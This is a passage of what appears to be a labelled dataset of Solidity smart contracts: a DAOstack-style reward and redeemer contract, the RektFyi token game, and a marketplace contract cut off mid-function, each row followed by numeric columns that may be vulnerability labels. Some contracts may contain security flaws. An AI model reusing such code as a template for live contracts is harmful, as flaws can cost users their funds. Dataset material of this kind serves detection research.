function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
}
pragma solidity ^0.5.4;
contract VotingMachineCallbacks is VotingMachineCallbacksInterface {
struct ProposalInfo {
uint256 blockNumber;
Avatar avatar;
}
modifier onlyVotingMachine(bytes32 _proposalId) {
require(proposalsInfo[msg.sender][_proposalId].avatar != Avatar(address(0)), "only VotingMachine");
_;
}
mapping(address => mapping(bytes32 => ProposalInfo)) public proposalsInfo;
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar));
}
function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar));
}
function stakingTokenTransfer(
IERC20 _stakingToken,
address _beneficiary,
uint256 _amount,
bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar);
}
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (proposalsInfo[msg.sender][_proposalId].avatar == Avatar(0)) {
return 0;
}
return _stakingToken.balanceOf(address(avatar));
}
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber);
}
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber);
}
}
pragma solidity ^0.5.4;
contract ContributionReward is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface {
using SafeMath for uint;
event NewContributionProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
string _descriptionHash,
int256 _reputationChange,
uint[5] _rewards,
IERC20 _externalToken,
address _beneficiary
);
event ProposalExecuted(address indexed _avatar, bytes32 indexed _proposalId, int256 _param);
event RedeemReputation(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
int256 _amount);
event RedeemEther(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
uint256 _amount);
event RedeemNativeToken(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
uint256 _amount);
event RedeemExternalToken(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
uint256 _amount);
struct ContributionProposal {
uint256 nativeTokenReward;
int256 reputationChange;
uint256 ethReward;
IERC20 externalToken;
uint256 externalTokenReward;
address payable beneficiary;
uint256 periodLength;
uint256 numberOfPeriods;
uint256 executionTime;
uint[4] redeemedPeriods;
}
mapping(address=>mapping(bytes32=>ContributionProposal)) public organizationsProposals;
struct Parameters {
bytes32 voteApproveParams;
IntVoteInterface intVote;
}
mapping(bytes32=>Parameters) public parameters;
function executeProposal(bytes32 _proposalId, int256 _param) external onlyVotingMachine(_proposalId) returns(bool) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
require(organizationsProposals[address(proposal.avatar)][_proposalId].executionTime == 0);
require(organizationsProposals[address(proposal.avatar)][_proposalId].beneficiary != address(0));
if (_param == 1) {
organizationsProposals[address(proposal.avatar)][_proposalId].executionTime = now;
}
emit ProposalExecuted(address(proposal.avatar), _proposalId, _param);
return true;
}
function setParameters(
bytes32 _voteApproveParams,
IntVoteInterface _intVote
) public returns(bytes32)
{
bytes32 paramsHash = getParametersHash(
_voteApproveParams,
_intVote
);
parameters[paramsHash].voteApproveParams = _voteApproveParams;
parameters[paramsHash].intVote = _intVote;
return paramsHash;
}
function getParametersHash(
bytes32 _voteApproveParams,
IntVoteInterface _intVote
) public pure returns(bytes32)
{
return (keccak256(abi.encodePacked(_voteApproveParams, _intVote)));
}
function proposeContributionReward(
Avatar _avatar,
string memory _descriptionHash,
int256 _reputationChange,
uint[5] memory _rewards,
IERC20 _externalToken,
address payable _beneficiary
)
public
returns(bytes32)
{
validateProposalParams(_reputationChange, _rewards);
Parameters memory controllerParams = parameters[getParametersFromController(_avatar)];
bytes32 contributionId = controllerParams.intVote.propose(
2,
controllerParams.voteApproveParams,
msg.sender,
address(_avatar)
);
address payable beneficiary = _beneficiary;
if (beneficiary == address(0)) {
beneficiary = msg.sender;
}
ContributionProposal memory proposal = ContributionProposal({
nativeTokenReward: _rewards[0],
reputationChange: _reputationChange,
ethReward: _rewards[1],
externalToken: _externalToken,
externalTokenReward: _rewards[2],
beneficiary: beneficiary,
periodLength: _rewards[3],
numberOfPeriods: _rewards[4],
executionTime: 0,
redeemedPeriods:[uint(0), uint(0), uint(0), uint(0)]
});
organizationsProposals[address(_avatar)][contributionId] = proposal;
emit NewContributionProposal(
address(_avatar),
contributionId,
address(controllerParams.intVote),
_descriptionHash,
_reputationChange,
_rewards,
_externalToken,
beneficiary
);
proposalsInfo[address(controllerParams.intVote)][contributionId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
return contributionId;
}
function redeemReputation(bytes32 _proposalId, Avatar _avatar) public returns(int256 reputation) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 0);
proposal.reputationChange = 0;
reputation = int(periodsToPay) * _proposal.reputationChange;
if (reputation > 0) {
require(
ControllerInterface(
_avatar.owner()).mintReputation(uint(reputation), _proposal.beneficiary, address(_avatar)));
} else if (reputation < 0) {
require(
ControllerInterface(
_avatar.owner()).burnReputation(uint(reputation*(-1)), _proposal.beneficiary, address(_avatar)));
}
if (reputation != 0) {
proposal.redeemedPeriods[0] = proposal.redeemedPeriods[0].add(periodsToPay);
emit RedeemReputation(address(_avatar), _proposalId, _proposal.beneficiary, reputation);
}
proposal.reputationChange = _proposal.reputationChange;
}
function redeemNativeToken(bytes32 _proposalId, Avatar _avatar) public returns(uint256 amount) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 1);
proposal.nativeTokenReward = 0;
amount = periodsToPay.mul(_proposal.nativeTokenReward);
if (amount > 0) {
require(ControllerInterface(_avatar.owner()).mintTokens(amount, _proposal.beneficiary, address(_avatar)));
proposal.redeemedPeriods[1] = proposal.redeemedPeriods[1].add(periodsToPay);
emit RedeemNativeToken(address(_avatar), _proposalId, _proposal.beneficiary, amount);
}
proposal.nativeTokenReward = _proposal.nativeTokenReward;
}
function redeemEther(bytes32 _proposalId, Avatar _avatar) public returns(uint256 amount) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 2);
proposal.ethReward = 0;
amount = periodsToPay.mul(_proposal.ethReward);
if (amount > 0) {
require(ControllerInterface(_avatar.owner()).sendEther(amount, _proposal.beneficiary, _avatar));
proposal.redeemedPeriods[2] = proposal.redeemedPeriods[2].add(periodsToPay);
emit RedeemEther(address(_avatar), _proposalId, _proposal.beneficiary, amount);
}
proposal.ethReward = _proposal.ethReward;
}
function redeemExternalToken(bytes32 _proposalId, Avatar _avatar) public returns(uint256 amount) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 3);
proposal.externalTokenReward = 0;
if (proposal.externalToken != IERC20(0) && _proposal.externalTokenReward > 0) {
amount = periodsToPay.mul(_proposal.externalTokenReward);
if (amount > 0) {
require(
ControllerInterface(
_avatar.owner())
.externalTokenTransfer(_proposal.externalToken, _proposal.beneficiary, amount, _avatar));
proposal.redeemedPeriods[3] = proposal.redeemedPeriods[3].add(periodsToPay);
emit RedeemExternalToken(address(_avatar), _proposalId, _proposal.beneficiary, amount);
}
}
proposal.externalTokenReward = _proposal.externalTokenReward;
}
function redeem(bytes32 _proposalId, Avatar _avatar, bool[4] memory _whatToRedeem)
public
returns(int256 reputationReward, uint256 nativeTokenReward, uint256 etherReward, uint256 externalTokenReward)
{
if (_whatToRedeem[0]) {
reputationReward = redeemReputation(_proposalId, _avatar);
}
if (_whatToRedeem[1]) {
nativeTokenReward = redeemNativeToken(_proposalId, _avatar);
}
if (_whatToRedeem[2]) {
etherReward = redeemEther(_proposalId, _avatar);
}
if (_whatToRedeem[3]) {
externalTokenReward = redeemExternalToken(_proposalId, _avatar);
}
}
function getPeriodsToPay(bytes32 _proposalId, address _avatar, uint256 _redeemType) public view returns (uint256) {
require(_redeemType <= 3, "should be in the redeemedPeriods range");
ContributionProposal memory _proposal = organizationsProposals[_avatar][_proposalId];
if (_proposal.executionTime == 0)
return 0;
uint256 periodsFromExecution;
if (_proposal.periodLength > 0) {
periodsFromExecution = (now.sub(_proposal.executionTime))/(_proposal.periodLength);
}
uint256 periodsToPay;
if ((_proposal.periodLength == 0) || (periodsFromExecution >= _proposal.numberOfPeriods)) {
periodsToPay = _proposal.numberOfPeriods.sub(_proposal.redeemedPeriods[_redeemType]);
} else {
periodsToPay = periodsFromExecution.sub(_proposal.redeemedPeriods[_redeemType]);
}
return periodsToPay;
}
function getRedeemedPeriods(bytes32 _proposalId, address _avatar, uint256 _redeemType)
public
view
returns (uint256) {
return organizationsProposals[_avatar][_proposalId].redeemedPeriods[_redeemType];
}
function getProposalEthReward(bytes32 _proposalId, address _avatar) public view returns (uint256) {
return organizationsProposals[_avatar][_proposalId].ethReward;
}
function getProposalExternalTokenReward(bytes32 _proposalId, address _avatar) public view returns (uint256) {
return organizationsProposals[_avatar][_proposalId].externalTokenReward;
}
function getProposalExternalToken(bytes32 _proposalId, address _avatar) public view returns (address) {
return address(organizationsProposals[_avatar][_proposalId].externalToken);
}
function getProposalExecutionTime(bytes32 _proposalId, address _avatar) public view returns (uint256) {
return organizationsProposals[_avatar][_proposalId].executionTime;
}
function validateProposalParams(int256 _reputationChange, uint[5] memory _rewards) private pure {
require(((_rewards[3] > 0) || (_rewards[4] == 1)), "periodLength equal 0 require numberOfPeriods to be 1");
if (_rewards[4] > 0) {
require(!(int(_rewards[4]) == -1 && _reputationChange == (-2**255)),
"numberOfPeriods * _reputationChange will overflow");
require((int(_rewards[4]) * _reputationChange) / int(_rewards[4]) == _reputationChange,
"numberOfPeriods * reputationChange will overflow");
require((_rewards[4] * _rewards[0]) / _rewards[4] == _rewards[0],
"numberOfPeriods * tokenReward will overflow");
require((_rewards[4] * _rewards[1]) / _rewards[4] == _rewards[1],
"numberOfPeriods * ethReward will overflow");
require((_rewards[4] * _rewards[2]) / _rewards[4] == _rewards[2],
"numberOfPeriods * texternalTokenReward will overflow");
}
}
}
pragma solidity ^0.5.4;
contract Redeemer {
using SafeMath for uint;
ContributionReward public contributionReward;
GenesisProtocol public genesisProtocol;
constructor(address _contributionReward, address _genesisProtocol) public {
contributionReward = ContributionReward(_contributionReward);
genesisProtocol = GenesisProtocol(_genesisProtocol);
}
function redeem(bytes32 _proposalId, Avatar _avatar, address _beneficiary)
external
returns(uint[3] memory gpRewards,
uint[2] memory gpDaoBountyReward,
bool executed,
uint256 winningVote,
int256 crReputationReward,
uint256 crNativeTokenReward,
uint256 crEthReward,
uint256 crExternalTokenReward)
{
GenesisProtocol.ProposalState pState = genesisProtocol.state(_proposalId);
if ((pState == GenesisProtocolLogic.ProposalState.Queued)||
(pState == GenesisProtocolLogic.ProposalState.PreBoosted)||
(pState == GenesisProtocolLogic.ProposalState.Boosted)||
(pState == GenesisProtocolLogic.ProposalState.QuietEndingPeriod)) {
executed = genesisProtocol.execute(_proposalId);
}
pState = genesisProtocol.state(_proposalId);
if ((pState == GenesisProtocolLogic.ProposalState.Executed) ||
(pState == GenesisProtocolLogic.ProposalState.ExpiredInQueue)) {
gpRewards = genesisProtocol.redeem(_proposalId, _beneficiary);
(gpDaoBountyReward[0], gpDaoBountyReward[1]) = genesisProtocol.redeemDaoBounty(_proposalId, _beneficiary);
winningVote = genesisProtocol.winningVote(_proposalId);
if (contributionReward.getProposalExecutionTime(_proposalId, address(_avatar)) > 0) {
(crReputationReward, crNativeTokenReward, crEthReward, crExternalTokenReward) =
contributionRewardRedeem(_proposalId, _avatar);
}
}
}
function contributionRewardRedeem(bytes32 _proposalId, Avatar _avatar)
private
returns (int256 reputation, uint256 nativeToken, uint256 eth, uint256 externalToken)
{
bool[4] memory whatToRedeem;
whatToRedeem[0] = true;
whatToRedeem[1] = true;
uint256 periodsToPay = contributionReward.getPeriodsToPay(_proposalId, address(_avatar), 2);
uint256 ethReward = contributionReward.getProposalEthReward(_proposalId, address(_avatar));
uint256 externalTokenReward = contributionReward.getProposalExternalTokenReward(_proposalId, address(_avatar));
address externalTokenAddress = contributionReward.getProposalExternalToken(_proposalId, address(_avatar));
ethReward = periodsToPay.mul(ethReward);
if ((ethReward == 0) || (address(_avatar).balance < ethReward)) {
whatToRedeem[2] = false;
} else {
whatToRedeem[2] = true;
}
periodsToPay = contributionReward.getPeriodsToPay(_proposalId, address(_avatar), 3);
externalTokenReward = periodsToPay.mul(externalTokenReward);
if ((externalTokenReward == 0) ||
(IERC20(externalTokenAddress).balanceOf(address(_avatar)) < externalTokenReward)) {
whatToRedeem[3] = false;
} else {
whatToRedeem[3] = true;
}
(reputation, nativeToken, eth, externalToken) = contributionReward.redeem(_proposalId, _avatar, whatToRedeem);
}
} | 0 | 1,470 |
pragma solidity 0.5.9;
library DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract Medianizer {
function peek() public view returns (bytes32, bool) {}
}
contract Dai {
function transferFrom(address src, address dst, uint wad) public returns (bool) {}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract RektFyi is Ownable {
using DSMath for uint;
struct Receiver {
uint walletBalance;
uint bountyETH;
uint bountyDAI;
uint timestamp;
uint etherPrice;
address payable sender;
}
struct Vault {
uint fee;
uint bountyETH;
uint bountySAI;
uint bountyDAI;
}
struct Pot {
uint ETH;
uint DAI;
}
mapping(address => Receiver) public receiver;
mapping(address => uint) public balance;
mapping(address => address[]) private recipients;
mapping(address => Pot) public unredeemedBounty;
mapping(address => Vault) public vault;
Pot public bountyPot = Pot(0,0);
uint public feePot = 0;
bool public shutdown = false;
uint public totalSupply = 0;
uint public multiplier = 1300000000000000000;
uint public bumpBasePrice = 10000000000000000;
uint public holdTimeCeiling = 3628800;
address public medianizerAddress;
Medianizer oracle;
bool public isMCD = false;
uint public MCDswitchTimestamp = 0;
address public saiAddress;
address public daiAddress;
Dai dai;
Dai sai;
constructor(address _medianizerAddress, address _saiAddress) public {
medianizerAddress = _medianizerAddress;
oracle = Medianizer(medianizerAddress);
saiAddress = _saiAddress;
dai = Dai(saiAddress);
sai = dai;
}
string public constant name = "REKT.fyi";
string public constant symbol = "REKT";
uint8 public constant decimals = 0;
uint public constant WAD = 1000000000000000000;
uint public constant PRECISION = 100000000000000;
uint public constant MULTIPLIER_FLOOR = 1000000000000000000;
uint public constant MULTIPLIER_CEILING = 10000000000000000000;
uint public constant BONUS_FLOOR = 1250000000000000000;
uint public constant BONUS_CEILING = 1800000000000000000;
uint public constant BOUNTY_BONUS_MINIMUM = 5000000000000000000;
uint public constant HOLD_SCORE_CEILING = 1000000000000000000000000000;
uint public constant BUMP_INCREMENT = 100000000000000000;
uint public constant HOLD_TIME_MAX = 23670000;
uint public constant BUMP_PRICE_MAX = 100000000000000000;
event LogVaultDeposit(address indexed addr, string indexed potType, uint value);
event LogWithdraw(address indexed to, uint eth, uint sai, uint dai);
event Transfer(address indexed from, address indexed to, uint tokens);
event LogBump(uint indexed from, uint indexed to, uint cost, address indexed by);
event LogBurn(
address indexed sender,
address indexed receiver,
uint receivedAt,
uint multiplier,
uint initialETH,
uint etherPrice,
uint bountyETH,
uint bountyDAI,
uint reward
);
event LogGive(address indexed sender, address indexed receiver);
modifier shutdownNotActive() {
require(shutdown == false, "shutdown activated");
_;
}
modifier giveRequirementsMet(address _to) {
require(address(_to) != address(0), "Invalid address");
require(_to != msg.sender, "Cannot give to yourself");
require(balanceOf(_to) == 0, "Receiver already has a token");
require(_to.balance > 0, "Receiver wallet must not be empty");
_;
}
function give(address _to) external payable shutdownNotActive giveRequirementsMet(_to) {
if (msg.value > 0) {
unredeemedBounty[msg.sender].ETH = unredeemedBounty[msg.sender].ETH.add(msg.value);
bountyPot.ETH = bountyPot.ETH.add(msg.value);
}
receiver[_to] = Receiver(_to.balance, msg.value, 0, now, getPrice(), msg.sender);
giveCommon(_to);
}
function giveWithDAI(address _to, uint _amount) external shutdownNotActive giveRequirementsMet(_to) {
if (_amount > 0) {
require(MCDswitchTimestamp != now, "Cannot send DAI during the switching block");
require(dai.transferFrom(msg.sender, address(this), _amount), "DAI transfer failed");
unredeemedBounty[msg.sender].DAI = unredeemedBounty[msg.sender].DAI.add(_amount);
bountyPot.DAI = bountyPot.DAI.add(_amount);
}
receiver[_to] = Receiver(_to.balance, 0, _amount, now, getPrice(), msg.sender);
giveCommon(_to);
}
function bump(bool _up) external payable shutdownNotActive {
require(msg.value > 0, "Ether required");
uint initialMultiplier = multiplier;
uint bumpAmount = msg.value
.wdiv(bumpBasePrice)
.wmul(getBonusMultiplier(msg.sender))
.wmul(BUMP_INCREMENT);
if (_up) {
if (multiplier.add(bumpAmount) >= MULTIPLIER_CEILING) {
multiplier = MULTIPLIER_CEILING;
} else {
multiplier = multiplier.add(roundBumpAmount(bumpAmount));
}
}
else {
if (multiplier > bumpAmount) {
if (multiplier.sub(bumpAmount) <= MULTIPLIER_FLOOR) {
multiplier = MULTIPLIER_FLOOR;
} else {
multiplier = multiplier.sub(roundBumpAmount(bumpAmount));
}
}
else {
multiplier = MULTIPLIER_FLOOR;
}
}
emit LogBump(initialMultiplier, multiplier, msg.value, msg.sender);
feePot = feePot.add(msg.value);
}
function burn(address _receiver) external {
require(balanceOf(_receiver) == 1, "Nothing to burn");
address sender = receiver[_receiver].sender;
require(
msg.sender == _receiver ||
msg.sender == sender ||
(_receiver == address(this) && msg.sender == owner),
"Must be token sender or receiver, or must be the owner burning REKT sent to the contract"
);
if (!shutdown) {
if (receiver[_receiver].walletBalance.wmul(multiplier) > _receiver.balance) {
uint balanceValueThen = receiver[_receiver].walletBalance.wmul(receiver[_receiver].etherPrice);
uint balanceValueNow = _receiver.balance.wmul(getPrice());
if (balanceValueThen.wmul(multiplier) > balanceValueNow) {
revert("Not enough gains");
}
}
}
balance[_receiver] = 0;
totalSupply --;
emit Transfer(_receiver, address(0), 1);
uint feeReward = distributeBurnRewards(_receiver, sender);
emit LogBurn(
sender,
_receiver,
receiver[_receiver].timestamp,
multiplier,
receiver[_receiver].walletBalance,
receiver[_receiver].etherPrice,
receiver[_receiver].bountyETH,
receiver[_receiver].bountyDAI,
feeReward);
}
function withdraw(address payable _addr) external {
require(_addr != address(this), "This contract cannot withdraw to itself");
withdrawCommon(_addr, _addr);
}
function withdrawSelf(address payable _destination) external onlyOwner {
withdrawCommon(_destination, address(this));
}
function setNewMedianizer(address _addr) external onlyOwner {
require(address(_addr) != address(0), "Invalid address");
medianizerAddress = _addr;
oracle = Medianizer(medianizerAddress);
bytes32 price;
bool ok;
(price, ok) = oracle.peek();
require(ok, "Pricefeed error");
}
function setMCD(address _addr) external onlyOwner {
require(!isMCD, "MCD has already been set");
require(address(_addr) != address(0), "Invalid address");
daiAddress = _addr;
dai = Dai(daiAddress);
isMCD = true;
MCDswitchTimestamp = now;
}
function setBumpPrice(uint _amount) external onlyOwner {
require(_amount > 0 && _amount <= BUMP_PRICE_MAX, "Price must not be higher than BUMP_PRICE_MAX");
bumpBasePrice = _amount;
}
function setHoldTimeCeiling(uint _seconds) external onlyOwner {
require(_seconds > 0 && _seconds <= HOLD_TIME_MAX, "Hold time must not be higher than HOLD_TIME_MAX");
holdTimeCeiling = _seconds;
}
function setShutdown() external onlyOwner {
shutdown = true;
}
function calculateBountyProportion(uint _bounty) public view returns (uint) {
return _bounty.rdiv(potValue(bountyPot.DAI, bountyPot.ETH));
}
function calculateHoldScore(uint _receivedAtTime) public view returns (uint) {
if (now == _receivedAtTime)
{
return 0;
}
uint timeDiff = now.sub(_receivedAtTime);
uint holdScore = timeDiff.rdiv(holdTimeCeiling);
if (holdScore > HOLD_SCORE_CEILING) {
holdScore = HOLD_SCORE_CEILING;
}
return holdScore;
}
function balanceOf(address _receiver) public view returns (uint) {
return balance[_receiver];
}
function potValue(uint _dai, uint _eth) public view returns (uint) {
return _dai.add(_eth.wmul(getPrice()));
}
function getBonusMultiplier(address _sender) public view returns (uint) {
uint bounty = potValue(unredeemedBounty[_sender].DAI, unredeemedBounty[_sender].ETH);
uint bonus = WAD;
if (bounty >= BOUNTY_BONUS_MINIMUM) {
bonus = bounty.wdiv(potValue(bountyPot.DAI, bountyPot.ETH)).add(BONUS_FLOOR);
if (bonus > BONUS_CEILING) {
bonus = BONUS_CEILING;
}
}
return bonus;
}
function getRecipients(address _sender) public view returns (address[] memory) {
return recipients[_sender];
}
function getPrice() public view returns (uint) {
bytes32 price;
bool ok;
(price, ok) = oracle.peek();
require(ok, "Pricefeed error");
return uint(price);
}
function giveCommon(address _to) private {
balance[_to] = 1;
recipients[msg.sender].push(_to);
totalSupply ++;
emit Transfer(address(0), msg.sender, 1);
emit Transfer(msg.sender, _to, 1);
emit LogGive(msg.sender, _to);
}
function distributeBurnRewards(address _receiver, address _sender) private returns (uint feeReward) {
feeReward = 0;
uint bountyETH = receiver[_receiver].bountyETH;
uint bountyDAI = receiver[_receiver].bountyDAI;
uint bountyTotal = potValue(bountyDAI, bountyETH);
if (bountyTotal > 0 ) {
uint bountyProportion = calculateBountyProportion(bountyTotal);
uint userRewardPot = bountyProportion.rmul(feePot);
if (shutdown) {
feeReward = userRewardPot;
} else {
uint holdScore = calculateHoldScore(receiver[_receiver].timestamp);
feeReward = userRewardPot.rmul(holdScore);
}
if (bountyETH > 0) {
unredeemedBounty[_sender].ETH = unredeemedBounty[_sender].ETH.sub(bountyETH);
bountyPot.ETH = bountyPot.ETH.sub(bountyETH);
vault[_receiver].bountyETH = vault[_receiver].bountyETH.add(bountyETH);
emit LogVaultDeposit(_receiver, 'bountyETH', bountyETH);
} else if (bountyDAI > 0) {
unredeemedBounty[_sender].DAI = unredeemedBounty[_sender].DAI.sub(bountyDAI);
bountyPot.DAI = bountyPot.DAI.sub(bountyDAI);
if (isMCD && receiver[_receiver].timestamp > MCDswitchTimestamp) {
vault[_receiver].bountyDAI = vault[_receiver].bountyDAI.add(bountyDAI);
} else {
vault[_receiver].bountySAI = vault[_receiver].bountySAI.add(bountyDAI);
}
emit LogVaultDeposit(_receiver, 'bountyDAI', bountyDAI);
}
if (feeReward > 0) {
feeReward = feeReward / 2;
feePot = feePot.sub(feeReward);
vault[_receiver].fee = vault[_receiver].fee.add(feeReward);
emit LogVaultDeposit(_receiver, 'reward', feeReward);
feePot = feePot.sub(feeReward);
vault[_sender].fee = vault[_sender].fee.add(feeReward);
emit LogVaultDeposit(_sender, 'reward', feeReward);
}
}
return feeReward;
}
function roundBumpAmount(uint _amount) private pure returns (uint rounded) {
require(_amount >= PRECISION, "bump size too small to round");
return (_amount / PRECISION).mul(PRECISION);
}
function withdrawCommon(address payable _destination, address _vaultOwner) private {
require(address(_destination) != address(0), "Invalid address");
uint amountETH = vault[_vaultOwner].fee.add(vault[_vaultOwner].bountyETH);
uint amountDAI = vault[_vaultOwner].bountyDAI;
uint amountSAI = vault[_vaultOwner].bountySAI;
vault[_vaultOwner] = Vault(0,0,0,0);
emit LogWithdraw(_destination, amountETH, amountSAI, amountDAI);
if (amountDAI > 0) {
require(dai.transferFrom(address(this), _destination, amountDAI), "DAI transfer failed");
}
if (amountSAI > 0) {
require(sai.transferFrom(address(this), _destination, amountSAI), "SAI transfer failed");
}
if (amountETH > 0) {
_destination.transfer(amountETH);
}
}
} | 1 | 4,799 |
pragma solidity ^0.4.25;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract ERC20BasicInterface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
uint8 public decimals;
}
contract Bussiness is Ownable {
IERC721 public erc721Address = IERC721(0x273f7f8e6489682df756151f5525576e322d51a3);
ERC20BasicInterface public usdtToken = ERC20BasicInterface(0xdAC17F958D2ee523a2206206994597C13D831ec7);
uint256 public ETHFee = 2;
uint256 public HBWALLETFee = 1;
uint256 public balance = address(this).balance;
constructor() public {}
struct Price {
address tokenOwner;
uint256 price;
uint256 fee;
}
mapping(uint256 => Price) public prices;
mapping(uint256 => Price) public usdtPrices;
function ownerOf(uint256 _tokenId) public view returns (address){
return erc721Address.ownerOf(_tokenId);
}
function setPrice(uint256 _tokenId, uint256 _ethPrice, uint256 _usdtPrice) public {
require(erc721Address.ownerOf(_tokenId) == msg.sender);
prices[_tokenId] = Price(msg.sender, _ethPrice, 0);
usdtPrices[_tokenId] = Price(msg.sender, _usdtPrice, 0);
}
function setPriceFeeEth(uint256 _tokenId, uint256 _ethPrice) public payable {
require(erc721Address.ownerOf(_tokenId) == msg.sender && prices[_tokenId].price != _ethPrice);
uint256 ethfee;
if(prices[_tokenId].price < _ethPrice) {
ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / 100;
require(msg.value == ethfee);
ethfee += prices[_tokenId].fee;
